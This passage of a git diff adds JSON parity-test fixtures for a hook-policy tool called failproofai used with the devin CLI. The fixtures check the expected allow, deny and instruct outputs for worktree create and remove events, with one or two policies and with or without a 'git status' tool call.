+ "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..0f5d2f73 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e065915d --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..0a41dc92 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..69418e5f --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..7b76abfb --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c4dbb0a7 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..0e0b81c7 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..94f41793 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..fe1c6042 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..3ac39e85 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4eff3aeb --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6655f2f1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b7447515 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a3b42137 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8a30d0c8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..860ea72b --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..8eedb71b --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2a1fce2b --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-present__two-policies.json 